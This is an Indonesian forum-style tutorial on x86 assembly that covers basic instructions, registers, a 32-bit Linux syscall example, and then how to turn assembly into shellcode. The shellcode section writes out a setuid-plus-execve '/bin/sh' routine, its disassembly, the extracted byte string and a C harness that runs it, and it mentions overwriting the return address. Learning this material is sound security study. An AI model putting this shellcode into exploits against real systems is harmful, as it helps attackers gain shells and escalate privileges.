sebenernya ane juga gak jago soal asm belajar dari mikrodata dulu gak bisa2 tapi gapapa deh share dikit ja ya mumpung ada tempat. instruksi dasar yg sering dipake: -mov artinya move (pindahkan) contoh dg assembly 16 bit: misal mov ah,09h = pindahkah ke register ah nilai 9 hexadesimal -> syarat interup 21 hexa fungsi 9 hexa misal kita mao panggil int 21 h fungsi 9 hexa untuk menampilkan teks di layar. -jmp artinya jump (loncat) bisa dipakai untuk loncat misal ke macro (macro atau prosedur cuma ada di asm 16 bit di 32 bit gak ada macro) -push -> dorong (untuk menyimpan) misal untuk menyimpan data ke stack pointer - pop -> ambil ( untuk mengambil data dari stack) - jne -> jump if not equal (lompat jika tidak sama) - jnz -> jump if not zero (lompat jika bukan zero) - jnc -> jump if not carry (lompat jika tidak ada sisa) - lea -> load effective address - and -> logika and untuk lebih lengkapnya silahkan cari di google dg keyword: "assembly language instruction" Model Pemrograman perbedaan menonjol antara model pemrograman asm bisa dilihat dari register2 yang banyak dia pakai. - model asm 8 bit mengunakan register: AH,AL,BH,BL,CH,CL,DH,DL -model 16 bit menggunakan register : AX,BX,CX,DX,SP,BP,DI,SI,IP,FLAGS,CS,DS,ES,SS,FS,GS - model 32 bit menggunakan regi: EAX, EBX,ECX,EDX,ESP,EBP,EDI,EIP (return address -> ini dia yang banyak dimanfaatkan hacker pada saat nilai kembali berusaha dioverwrite utk point ke instruksi yang ilegal) contoh syscall dg asm: karena yg ngetrend adl yg 32 bit maka kita akan coba langsung aja prakteknya di bawah ini: dalam kasus ini kita akan memanggil 2 syscall nomer 1 (sys_exit) dan syscall nomer 4 (sys_write) berikut ini contoh basic asm yg menggunakan 2 syscall tadi: (btw ni asm 32 bit di linux tar kita kompile pake nasm (netwide assembler) kita jadikan elf binary file name: mywisdom.asm section .data tes db 'mywisdom',10;db artinya define byte di mana var tes diisi string mywisdom section .text global _start _start: mov edx,8 ;panjang string mywisdom mov ecx,tes ; ecx diisi data tadi mov ebx, 1 ; ebx diisi 1 syarat sycall no 4 mov eax, 4 ; mo mangil syscall no 4 yaitu write int 80h ;interup 80 hexa utk eksekusi syscall mov ebx,0 mov eax,1 ; int 80h ;keluar program untuk lebih jelasnya ini gw sengaja upload daftar table syscall bisa diliat di sini: http://bluemaster.iu.hio.no/edu/ca/lin-asm/syscalls.html selanjutnya simpan dengan nama file mywisdom.asm cara kompile: nasm -f elf mywisdom.asm ld -o mywisdom mywisdom.o oya selain itu ada juga yg model 32 bit at&t kita kompile pake gas, biasanya ini banyak dipake di inline assembly. CONTOH MEMBUAT SHELLC0DE DARI ASM sebelum mulai ada aturanya: peraturan shellc0de yang baik: 1. jangan terlalu panjang 2. jangan mengandung \x00 (terminate string) ok dari asm c0de berikut ini: filename: leqhi.asm global _start section .text _start: xor ecx,ecx lea eax,[ecx+17h];setuid syscall int 80h push ecx;ecx = 0 push 0x68732f6e ;kalao diconvert jadi hs\n artinya sh krn selalu dibalik push 0x69622f2f ;nib mov ebx,esp lea eax,[ecx+0Bh];syarat utk execve syscall harus load efektif address int 80h kompile: nasm -f elf leqhi.asm ld -o leqhi leqhi.o lalu untuk membuat shellc0denya kita disassembly .section text: root@DL:/mnt/sda12/root/c/asm# objdump -d leqhi sh: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 31 c9 xor %ecx,%ecx 8048062: 8d 41 17 lea 0x17(%ecx),%eax 8048065: cd 80 int $0x80 8048067: 51 push %ecx 8048068: 68 6e 2f 73 68 push $0x68732f6e 804806d: 68 2f 2f 62 69 push $0x69622f2f 8048072: 89 e3 mov %esp,%ebx 8048074: 8d 41 0b lea 0xb(%ecx),%eax 8048077: cd 80 int $0x80 root@DL:/mnt/sda12/root/c/asm# ok shellcode dari hasil objdump di atas adalah: \x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x41\x0b\xcd\x80 ok template utk eksekusi shellcode yg kali ini akan kita pakai adl: #include int main() { char shellcode[]="bagian yang diapit ini akan kita sisipkan shellcode kita"; (*(void (*)()) shellcode)(); } di mana bagian yang ada tulisan: "bagian yang diapit ini akan kita sisipkan shellcode kita" tadi akan kita sisipkan shellcode hasil konvert sehingga menjadi shellc0de kita di bawah ini: filename: hack.c #include int main() { char shellcode[]="\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x41\x0b\xcd\x80"; (*(void (*)()) shellcode)(); } selanjutnya tingal dikompile: gcc -o hack hack.c ok sekian dan selanjutnya akan ane lanjut laen kali krn sudah waktunya kerja lagi. trims